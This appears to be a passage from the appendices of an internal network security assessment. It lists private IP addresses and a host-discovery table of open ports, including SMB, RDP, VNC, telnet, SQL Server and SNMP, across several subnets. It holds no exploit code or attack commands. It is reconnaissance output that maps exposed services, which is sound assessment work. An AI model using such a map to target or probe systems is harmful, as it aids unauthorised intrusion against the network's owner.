10.100.5.78	
10.100.5.77	
10.100.5.76	
10.100.5.75	
10.100.5.71	
10.100.5.70	
10.100.5.69	
10.100.5.65	
10.100.5.30	
10.100.4.60	
10.100.4.57	
10.100.4.50	
10.100.3.91	
10.100.3.90	
10.100.3.87	
10.100.3.86	
10.100.3.85	
10.100.3.77	
10.100.3.70	
10.100.3.69	
10.100.3.60	
10.100.3.30	
10.100.2.102	

10.100.2.76	
10.100.2.75	
10.100.2.73	
10.100.2.67	
10.100.2.61	
10.100.2.87	
10.100.2.62	
10.100.2.30	
10.100.1.83	
10.100.1.79	
10.100.1.72	
10.100.1.70	
10.100.1.52	
10.100.1.30	
10.100.6.82	[redacted]
10.100.3.50	[redacted]
10.100.20.194	[redacted]
10.100.20.153	[redacted]
10.100.20.149	[redacted]
10.100.20.142	[redacted]
10.100.20.134	[redacted]
10.100.20.103	[redacted]
10.100.20.67	[redacted]
10.100.20.13	[redacted]
10.100.6.59	[redacted]
10.100.6.54	[redacted]
10.100.5.50	[redacted]
10.100.1.53	[redacted]

Appendix C: Host Discovery (Opened Ports)

Internal Network Security Assessment

IP Address	DNS Name	Port	Protocol
10.100.1.66	[redacted]	445	tcp
10.100.1.68	[redacted]	445	tcp
10.100.1.76	[redacted]	3389	tcp
10.100.1.76	[redacted]	5900	tcp
10.100.1.76	[redacted]	445	tcp
10.100.1.80		8009	tcp
10.100.1.80		8443	tcp
10.100.1.80		8008	tcp
10.100.1.80		1900	udp
10.100.1.96		22	tcp
10.100.1.97	[redacted]	445	tcp
10.100.1.99	[redacted]	3389	tcp
10.100.1.99	[redacted]	5900	tcp
10.100.1.99	[redacted]	445	tcp
10.100.1.150		443	tcp
10.100.1.150		3702	udp
10.100.1.150		80	tcp
10.100.1.150		49152	tcp
10.100.1.150		1900	udp
10.100.1.150		5353	udp
10.100.1.151		443	tcp
10.100.1.151		3702	udp
10.100.1.151		80	tcp
10.100.1.151		49152	tcp
10.100.1.151		1900	udp
10.100.1.151		5353	udp
10.100.2.45		8443	tcp
10.100.2.45		443	tcp
10.100.2.45		5353	udp
10.100.2.45		3478	udp
10.100.2.45		1900	udp
10.100.2.49	[redacted]	443	tcp
10.100.2.49	[redacted]	27000	tcp
10.100.2.49	[redacted]	3389	tcp
10.100.2.49	[redacted]	5353	udp
10.100.2.49	[redacted]	445	tcp
10.100.2.49	[redacted]	5355	udp

10.100.2.51		8834	tcp
10.100.2.52	[redacted]	445	tcp
10.100.2.52	[redacted]	5355	udp
10.100.2.53	[redacted]	3389	tcp
10.100.2.53	[redacted]	8191	tcp
10.100.2.53	[redacted]	8089	tcp
10.100.2.53	[redacted]	5900	tcp
10.100.2.53	[redacted]	445	tcp
10.100.2.53	[redacted]	5355	udp
10.100.2.53	[redacted]	8000	tcp
10.100.2.54	[redacted]	3389	tcp
10.100.2.54	[redacted]	5900	tcp
10.100.2.54	[redacted]	17500	udp
10.100.2.54	[redacted]	5355	udp
10.100.2.55	[redacted]	445	tcp
10.100.2.55	[redacted]	5355	udp
10.100.2.56		443	tcp
10.100.2.56		9080	tcp
10.100.2.57		443	tcp
10.100.2.57		9080	tcp
10.100.2.58		443	tcp
10.100.2.58		9080	tcp
10.100.2.59	[redacted]	445	tcp
10.100.2.59	[redacted]	5355	udp
10.100.2.60		443	tcp
10.100.2.60		9080	tcp
10.100.2.63	[redacted]	445	tcp
10.100.2.63	[redacted]	5355	udp
10.100.2.64	[redacted]	445	tcp
10.100.2.64	[redacted]	5355	udp
10.100.2.65	[redacted]	5355	udp
10.100.2.65	[redacted]	445	tcp
10.100.2.66	[redacted]	5353	udp
10.100.2.66	[redacted]	5900	tcp
10.100.2.66	[redacted]	445	tcp
10.100.2.66	[redacted]	5355	udp
10.100.2.70	[redacted]	443	tcp
10.100.2.70	[redacted]	445	tcp
10.100.2.70	[redacted]	5355	udp
10.100.2.81	[redacted]	3389	tcp
10.100.2.81	[redacted]	5355	udp
10.100.2.81	[redacted]	5900	tcp
10.100.2.82	[redacted]	445	tcp

10.100.2.82	[redacted]	5355	udp
10.100.2.83	[redacted]	5355	udp
10.100.2.83	[redacted]	445	tcp
10.100.2.93	[redacted]	3389	tcp
10.100.2.93	[redacted]	5900	tcp
10.100.2.93	[redacted]	445	tcp
10.100.2.93	[redacted]	5355	udp
10.100.3.51	[redacted]	3389	tcp
10.100.3.51	[redacted]	445	tcp
10.100.3.52	[redacted]	3389	tcp
10.100.3.52	[redacted]	5900	tcp
10.100.3.53		22	tcp
10.100.3.56	[redacted]	445	tcp
10.100.3.64	[redacted]	27000	tcp
10.100.3.64	[redacted]	3389	tcp
10.100.3.64	[redacted]	5900	tcp
10.100.3.64	[redacted]	445	tcp
10.100.5.51	[redacted]	902	tcp
10.100.5.52		80	tcp
10.100.5.52		22	tcp
10.100.5.52		5353	udp
10.100.5.53		80	tcp
10.100.5.53		22	tcp
10.100.5.53		5353	udp
10.100.5.55	[redacted]	445	tcp
10.100.5.56	[redacted]	445	tcp
10.100.5.59	[redacted]	445	tcp
10.100.5.60	[redacted]	5900	tcp
10.100.5.60	[redacted]	3389	tcp
10.100.5.60	[redacted]	445	tcp
10.100.5.61	[redacted]	445	tcp
10.100.5.62	[redacted]	445	tcp
10.100.5.64	[redacted]	3389	tcp
10.100.5.64	[redacted]	445	tcp
10.100.5.64	[redacted]	49156	tcp
10.100.5.64	[redacted]	1433	tcp
10.100.5.64	[redacted]	80	tcp
10.100.5.67	[redacted]	445	tcp
10.100.5.68	[redacted]	27000	tcp
10.100.5.68	[redacted]	3389	tcp
10.100.5.68	[redacted]	5900	tcp
10.100.5.68	[redacted]	445	tcp
10.100.5.68	[redacted]	1433	tcp

10.100.6.20		443	tcp
10.100.6.20		80	tcp
10.100.6.20		3702	udp
10.100.6.20		49152	tcp
10.100.6.20		1900	udp
10.100.6.20		5353	udp
10.100.6.25		9999	tcp
10.100.6.25		161	udp
10.100.6.26		9999	tcp
10.100.6.26		161	udp
10.100.6.50	[redacted]	445	tcp
10.100.6.53	[redacted]	445	tcp
10.100.6.57	[redacted]	445	tcp
10.100.6.60	[redacted]	445	tcp
10.100.6.62	[redacted]	445	tcp
10.100.6.65	[redacted]	3389	tcp
10.100.6.65	[redacted]	5900	tcp
10.100.6.65	[redacted]	445	tcp
10.100.6.66	[redacted]	445	tcp
10.100.6.68	[redacted]	445	tcp
10.100.6.69	[redacted]	445	tcp
10.100.6.80	[redacted]	445	tcp
10.100.6.81	[redacted]	445	tcp
10.100.6.81	[redacted]	3389	tcp
10.100.6.84	[redacted]	445	tcp
10.100.6.90	[redacted]	3389	tcp
10.100.6.90	[redacted]	5900	tcp
10.100.6.90	[redacted]	445	tcp
10.100.6.92	[redacted]	445	tcp
10.100.7.50	[redacted]	445	tcp
10.100.7.51	[redacted]	3389	tcp
10.100.7.51	[redacted]	445	tcp
10.100.7.53	[redacted]	445	tcp
10.100.7.53	[redacted]	1433	tcp
10.100.7.53	[redacted]	3389	tcp
10.100.7.62	[redacted]	445	tcp
10.100.7.62	[redacted]	3389	tcp
10.100.7.66	[redacted]	445	tcp
10.100.7.66	[redacted]	3389	tcp
10.100.7.69		443	tcp
10.100.7.70	[redacted]	7153	tcp
10.100.7.70	[redacted]	27000	tcp
10.100.7.70	[redacted]	445	tcp

10.100.7.71	[redacted]	445	tcp
10.100.7.71	[redacted]	1433	tcp
10.100.7.72	[redacted]	445	tcp
10.100.7.72	[redacted]	3389	tcp
10.100.7.73	[redacted]	445	tcp
10.100.7.73	[redacted]	1433	tcp
10.100.7.75	[redacted]	3389	tcp
10.100.7.75	[redacted]	445	tcp
10.100.7.77	[redacted]	7153	tcp
10.100.7.77	[redacted]	27000	tcp
10.100.7.77	[redacted]	445	tcp
10.100.7.78	[redacted]	445	tcp
10.100.7.78	[redacted]	3389	tcp
10.100.7.82	[redacted]	3389	tcp
10.100.7.82	[redacted]	445	tcp
10.100.7.84	[redacted]	445	tcp
10.100.7.84	[redacted]	3389	tcp
10.100.7.84	[redacted]	27000	tcp
10.100.7.85	[redacted]	445	tcp
10.100.7.85	[redacted]	1433	tcp
10.100.7.85	[redacted]	1434	udp
10.100.7.86	[redacted]	27000	tcp
10.100.7.86	[redacted]	445	tcp
10.100.7.86	[redacted]	1433	tcp
10.100.7.86	[redacted]	1434	udp
10.100.7.87	[redacted]	445	tcp
10.100.7.88	[redacted]	445	tcp
10.100.7.88	[redacted]	3389	tcp
10.100.7.90	[redacted]	27000	tcp
10.100.7.90	[redacted]	445	tcp
10.100.7.93	[redacted]	7153	tcp
10.100.7.93	[redacted]	27000	tcp
10.100.7.93	[redacted]	44818	udp
10.100.7.93	[redacted]	44818	tcp
10.100.7.95	[redacted]	9080	tcp
10.100.7.95	[redacted]	443	tcp
10.100.7.96		443	tcp
10.100.7.96		9080	tcp
10.100.7.98		2222	tcp
10.100.7.98		22	tcp
10.100.7.98		443	tcp
10.100.7.98		21	tcp
10.100.7.101	[redacted]	445	tcp

10.100.7.110		27000	tcp
10.100.7.110		445	tcp
10.100.7.110		3389	tcp
10.100.7.110		80	tcp
10.100.7.111		445	tcp
10.100.7.111		3071	tcp
10.100.7.115		3389	tcp
10.100.7.115		445	tcp
10.100.7.115		27000	tcp
10.100.7.115		49161	tcp
10.100.7.116		1433	tcp
10.100.7.116		445	tcp
10.100.7.118		3389	tcp
10.100.7.118		445	tcp
10.100.7.119		445	tcp
10.100.7.119		1433	tcp
10.100.7.125		3389	tcp
10.100.7.125		44818	tcp
10.100.7.125		445	tcp
10.100.7.125		27000	tcp
10.100.7.125		1434	udp
10.100.7.131		3389	tcp
10.100.7.131		445	tcp
10.100.7.135		445	tcp
10.100.7.135		3389	tcp
10.100.7.135		27000	tcp
10.100.7.136		3389	tcp
10.100.7.136		445	tcp
10.100.7.201		3389	tcp
10.100.7.201		5900	tcp
10.100.7.201		445	tcp
10.100.7.210		445	tcp
10.100.7.210		3071	tcp
10.100.7.210		3389	tcp
10.100.20.2		445	tcp
10.100.20.7		445	tcp
10.100.20.11		445	tcp
10.100.20.33	[redacted]	5900	tcp
10.100.20.33	[redacted]	445	tcp
10.100.20.33	[redacted]	3389	tcp
10.100.20.38	[redacted]	445	tcp
10.100.20.145		445	tcp
10.100.20.195		445	tcp

10.100.20.200		27000	tcp
10.100.20.200		445	tcp
10.100.20.200		1433	tcp
10.100.31.50		80	tcp
10.100.31.50		22	tcp
10.100.31.50		5353	udp
10.100.31.51		80	tcp
10.100.31.51		22	tcp
10.100.31.51		5353	udp
10.100.31.52		443	tcp
10.100.31.52		80	tcp
10.100.31.52		49152	tcp
10.100.31.52		1900	udp
10.100.31.52		5353	udp
10.100.31.53		80	tcp
10.100.31.53		22	tcp
10.100.31.53		5353	udp
10.100.31.54		443	tcp
10.100.31.54		80	tcp
10.100.31.54		49152	tcp
10.100.31.54		1900	udp
10.100.31.54		5353	udp
10.100.31.55		80	tcp
10.100.31.55		22	tcp
10.100.31.55		5353	udp
10.100.31.56		80	tcp
10.100.31.56		22	tcp
10.100.31.56		5353	udp
10.100.31.58		80	tcp
10.100.31.58		22	tcp
10.100.31.58		5353	udp
10.100.31.59		445	tcp
10.100.31.60		443	tcp
10.100.31.60		80	tcp
10.100.31.60		49152	tcp
10.100.31.60		1900	udp
10.100.31.60		5060	tcp
10.100.31.60		5060	udp
10.100.31.60		5353	udp
10.100.31.61		445	tcp
10.100.31.67		80	tcp
10.100.31.67		22	tcp
10.100.31.67		5353	udp

10.100.31.69		443	tcp
10.100.31.69		80	tcp
10.100.31.69		5061	tcp
10.100.31.69		49152	tcp
10.100.31.69		1900	udp
10.100.31.69		5060	tcp
10.100.31.69		5060	udp
10.100.31.69		5353	udp
10.100.31.70		445	tcp
10.100.31.71		80	tcp
10.100.31.71		22	tcp
10.100.31.71		5353	udp
10.100.31.73		80	tcp
10.100.31.73		22	tcp
10.100.31.73		5353	udp
10.100.31.75		80	tcp
10.100.31.75		22	tcp
10.100.31.75		5353	udp
10.100.31.77		22	tcp
10.100.31.77		5353	udp
10.100.31.77		80	tcp
10.100.31.80		80	tcp
10.100.31.80		22	tcp
10.100.31.80		5353	udp
10.100.31.81		443	tcp
10.100.31.81		80	tcp
10.100.31.81		49152	tcp
10.100.31.81		1900	udp
10.100.31.81		5353	udp
10.100.31.82		443	tcp
10.100.31.82		80	tcp
10.100.31.82		49152	tcp
10.100.31.82		1900	udp
10.100.31.82		5353	udp
10.100.32.50		80	tcp
10.100.32.50		22	tcp
10.100.32.50		5353	udp
10.100.32.51		80	tcp
10.100.32.51		22	tcp
10.100.32.51		5353	udp
10.100.32.52		80	tcp
10.100.32.52		22	tcp
10.100.32.52		5353	udp

10.100.32.53		80	tcp
10.100.32.53		22	tcp
10.100.32.53		5353	udp
10.100.32.54		80	tcp
10.100.32.54		22	tcp
10.100.32.54		5353	udp
10.100.32.55		80	tcp
10.100.32.55		22	tcp
10.100.32.55		5353	udp
10.100.32.56		80	tcp
10.100.32.56		22	tcp
10.100.32.56		5353	udp
10.100.32.57		80	tcp
10.100.32.57		22	tcp
10.100.32.57		5353	udp
10.100.32.58		80	tcp
10.100.32.58		5353	udp
10.100.32.58		22	tcp
10.100.32.59		80	tcp
10.100.32.59		22	tcp
10.100.32.59		5353	udp
10.100.32.61		80	tcp
10.100.32.61		22	tcp
10.100.32.61		5353	udp
10.100.32.62		80	tcp
10.100.32.62		22	tcp
10.100.32.62		5353	udp
10.100.32.63		445	tcp
10.100.32.65		3389	tcp
10.100.32.65		5900	tcp
10.100.32.65		445	tcp
10.100.32.69		80	tcp
10.100.32.69		22	tcp
10.100.32.69		5353	udp
10.100.33.20		80	tcp
10.100.33.20		3702	udp
10.100.33.20		49152	tcp
10.100.33.20		1900	udp
10.100.33.20		5353	udp
10.100.33.50		80	tcp
10.100.33.50		22	tcp
10.100.33.50		5353	udp
10.100.33.52		443	tcp

10.100.33.53		445	tcp
10.100.33.54		3389	tcp
10.100.33.54		5900	tcp
10.100.33.54		445	tcp
10.100.33.55		80	tcp
10.100.33.55		22	tcp
10.100.33.55		5353	udp
10.100.33.59		3389	tcp
10.100.33.59		5900	tcp
10.100.33.59		445	tcp
10.100.33.61		3389	tcp
10.100.33.61		5900	tcp
10.100.34.50		80	tcp
10.100.34.50		22	tcp
10.100.34.50		5353	udp
10.100.34.51		80	tcp
10.100.34.51		22	tcp
10.100.34.51		5353	udp
10.100.34.52		80	tcp
10.100.34.52		22	tcp
10.100.34.52		5353	udp
10.100.34.53		80	tcp
10.100.34.53		22	tcp
10.100.34.53		5353	udp
10.100.34.54		80	tcp
10.100.34.54		22	tcp
10.100.34.54		5353	udp
10.100.34.55		80	tcp
10.100.34.55		22	tcp
10.100.34.55		5353	udp
10.100.34.56		80	tcp
10.100.34.56		22	tcp
10.100.34.56		5353	udp
10.100.34.57		80	tcp
10.100.34.57		22	tcp
10.100.34.57		5353	udp
10.100.34.58		80	tcp
10.100.34.58		22	tcp
10.100.34.58		5353	udp
10.100.34.59		80	tcp
10.100.34.59		5353	udp
10.100.34.59		22	tcp
10.100.34.60		80	tcp

10.100.34.60		22	tcp
10.100.34.60		5353	udp
10.100.34.61		80	tcp
10.100.34.61		22	tcp
10.100.34.61		5353	udp
10.100.34.62		80	tcp
10.100.34.62		22	tcp
10.100.34.62		5353	udp
10.100.34.63		80	tcp
10.100.34.63		22	tcp
10.100.34.63		5353	udp
10.100.34.64		80	tcp
10.100.34.64		22	tcp
10.100.34.64		5353	udp
10.100.34.65		443	tcp
10.100.34.65		80	tcp
10.100.34.65		22	tcp
10.100.34.65		5353	udp
10.100.34.66		80	tcp
10.100.34.66		22	tcp
10.100.34.66		5353	udp
10.100.34.67		80	tcp
10.100.34.67		22	tcp
10.100.34.67		5353	udp
10.100.34.68		80	tcp
10.100.34.68		22	tcp
10.100.34.68		5353	udp
10.100.34.69		80	tcp
10.100.34.69		22	tcp
10.100.34.69		5353	udp
10.100.34.70		80	tcp
10.100.34.70		22	tcp
10.100.34.70		5353	udp
10.100.34.71		80	tcp
10.100.34.71		22	tcp
10.100.34.71		5353	udp
10.100.34.72		80	tcp
10.100.34.72		22	tcp
10.100.34.72		5353	udp
10.100.34.73		80	tcp
10.100.34.73		22	tcp
10.100.34.73		5353	udp
10.100.34.74		80	tcp

10.100.34.74		22	tcp
10.100.34.74		5353	udp
10.100.34.75		80	tcp
10.100.34.75		22	tcp
10.100.34.75		5353	udp
10.100.34.76		80	tcp
10.100.34.76		22	tcp
10.100.34.76		5353	udp
10.100.34.77		80	tcp
10.100.34.77		22	tcp
10.100.34.77		5353	udp
10.100.34.78		80	tcp
10.100.34.78		22	tcp
10.100.34.78		5353	udp
10.100.34.79		80	tcp
10.100.34.79		22	tcp
10.100.34.79		5353	udp
10.100.34.80		443	tcp
10.100.34.80		80	tcp
10.100.34.80		22	tcp
10.100.34.80		5353	udp
10.100.34.81		80	tcp
10.100.34.81		22	tcp
10.100.34.81		5353	udp
10.100.34.83		445	tcp
10.100.34.85		3389	tcp
10.100.34.85		5900	tcp
10.100.34.85		445	tcp
10.100.34.86		445	tcp
10.100.35.50		443	tcp
10.100.35.50		3478	udp
10.100.35.50		1900	udp
10.100.35.50		5353	udp
10.100.35.51		53	udp
10.100.35.51		443	tcp
10.100.35.72		445	tcp
10.100.35.77		445	tcp
10.100.35.89		3389	tcp
10.100.35.89		5900	tcp
10.100.35.89		445	tcp
10.100.35.104		53	udp
10.100.35.104		443	tcp
10.100.35.119		3389	tcp

10.100.35.119		445	tcp
192.168.2.3		902	tcp
192.168.2.3		443	tcp
192.168.2.3		5989	tcp
192.168.2.5		902	tcp
192.168.2.5		443	tcp
192.168.2.5		5989	tcp
192.168.2.6		3389	tcp
192.168.2.6		2049	tcp
192.168.2.6		3268	tcp
192.168.2.6		389	tcp
192.168.2.6		80	tcp
192.168.2.6		1031	tcp
192.168.2.8		445	tcp
192.168.2.8		3389	tcp
192.168.2.8		1433	tcp
192.168.2.8		2002	tcp
192.168.2.8		135	tcp
192.168.2.8		1434	udp
192.168.2.18		27000	tcp
192.168.2.18		54433	tcp
192.168.2.18		3389	tcp
192.168.2.18		3268	tcp
192.168.2.18		389	tcp
192.168.2.18		1031	tcp
192.168.2.18		1434	udp
192.168.2.19		3389	tcp
192.168.2.19		443	tcp
192.168.2.19		445	tcp
192.168.2.19		3388	tcp
192.168.2.20		161	udp
192.168.2.22		443	tcp
192.168.2.22		3389	tcp
192.168.2.22		445	tcp
192.168.2.25		445	tcp
192.168.2.28		161	udp
192.168.2.34		2049	tcp
192.168.2.46		161	udp
192.168.2.51		443	tcp
192.168.2.51		80	tcp
192.168.2.51		21	tcp
192.168.2.55		443	tcp
192.168.2.55		161	udp

192.168.2.55		1883	tcp
192.168.2.58		443	tcp
192.168.2.58		161	udp
192.168.2.58		1883	tcp
192.168.2.65		3702	udp
192.168.2.71		3389	tcp
192.168.2.74		3389	tcp
192.168.2.74		445	tcp
192.168.2.78		445	tcp
192.168.2.78		3389	tcp
192.168.2.82		445	tcp
192.168.2.82		3389	tcp
10.100.7.97		2222	tcp
10.100.7.97		22	tcp
10.100.7.97		443	tcp
10.100.7.97		21	tcp
10.100.7.74		22	tcp
10.100.7.74		443	tcp
10.100.7.74		23	tcp
10.100.7.68		161	udp
10.100.7.67		161	udp
10.100.7.64		161	udp
10.100.7.64		23	tcp
10.100.7.63		161	udp
10.100.7.63		23	tcp
10.100.33.60		80	tcp
10.100.33.60		22	tcp
10.100.34.5		23	tcp
10.100.34.15		23	tcp
10.100.34.84		80	tcp
10.100.34.84		22	tcp
10.100.35.5		23	tcp
10.100.7.5		23	tcp
10.100.6.87		80	tcp
10.100.6.87		21	tcp
10.100.6.87		3702	udp
10.100.6.87		49152	tcp
10.100.6.87		1900	udp
10.100.6.87		5353	udp
10.100.6.5		23	tcp
10.100.5.58		443	tcp
10.100.5.58		23	tcp
10.100.5.25		23	tcp

10.100.5.5		23	tcp
10.100.4.5		23	tcp
10.100.3.151		21	tcp
10.100.3.151		80	tcp
10.100.3.151		3702	udp
10.100.3.151		49152	tcp
10.100.3.151		1900	udp
10.100.3.151		5353	udp
10.100.3.150		21	tcp
10.100.3.150		3702	udp
10.100.3.150		49152	tcp
10.100.3.150		1900	udp
10.100.3.150		5353	udp
10.100.3.63		44818	udp
10.100.3.63		44818	tcp
10.100.3.63		161	udp
10.100.3.57		443	tcp
10.100.3.57		5060	tcp
10.100.3.57		5060	udp
10.100.3.25		23	tcp
10.100.3.5		23	tcp
10.100.35.73		3001	tcp
10.100.35.73		1093	tcp
10.100.35.73		1393	tcp
10.100.35.73		1468	tcp
10.100.35.73		1223	tcp
10.100.35.73		1900	udp
10.100.35.87		53	udp
10.100.35.87		443	tcp
10.100.2.5		23	tcp
10.100.2.5		67	udp
10.100.35.101		443	tcp
10.100.1.74		443	tcp
10.100.1.74		5060	tcp
10.100.1.74		5060	udp
10.100.1.35		161	udp
10.100.1.25		23	tcp
10.100.1.5		23	tcp
10.100.35.113		53	udp
10.100.35.113		443	tcp
192.168.2.2		161	udp
192.168.2.2		60000	tcp
192.168.2.4		161	udp

192.168.2.7		161	udp
192.168.2.13		161	udp
192.168.2.14		161	udp
192.168.2.16		161	udp
192.168.2.17		9998	tcp
192.168.2.17		9997	tcp
192.168.2.17		443	tcp
192.168.2.17		80	tcp
192.168.2.17		1900	udp
192.168.2.17		21	tcp
192.168.2.45		80	tcp
192.168.2.56		443	tcp
192.168.2.56		1883	tcp
192.168.2.56		161	udp
192.168.2.57		443	tcp
192.168.2.57		161	udp
192.168.2.57		1883	tcp
192.168.2.59		443	tcp
192.168.2.60		443	tcp
192.168.2.61		443	tcp
192.168.2.62		443	tcp
192.168.2.63		443	tcp
192.168.2.64		443	tcp
192.168.2.70		5900	tcp
192.168.2.73		5900	tcp
192.168.2.77		5900	tcp
192.168.2.81		5900	tcp
192.168.2.84		445	tcp
192.168.2.85		445	tcp
192.168.2.91		445	tcp
192.168.2.93		445	tcp
192.168.2.94		631	tcp
192.168.2.97		5900	tcp
10.100.7.150		21	tcp
10.100.7.150		80	tcp
10.100.7.150		3702	udp
10.100.7.150		49152	tcp
10.100.7.150		1900	udp
10.100.7.150		5353	udp
10.100.20.173		62078	tcp
10.100.31.5		23	tcp
10.100.31.64		443	tcp
10.100.31.64		5060	tcp

10.100.31.64		5060	udp
10.100.31.65		443	tcp
10.100.31.65		5060	tcp
10.100.31.65		5060	udp
10.100.31.66		443	tcp
10.100.31.66		5060	tcp
10.100.32.5		23	tcp
10.100.32.15		23	tcp
10.100.33.5		23	tcp
10.100.33.15		23	tcp
10.100.33.57		80	tcp
10.100.33.57		22	tcp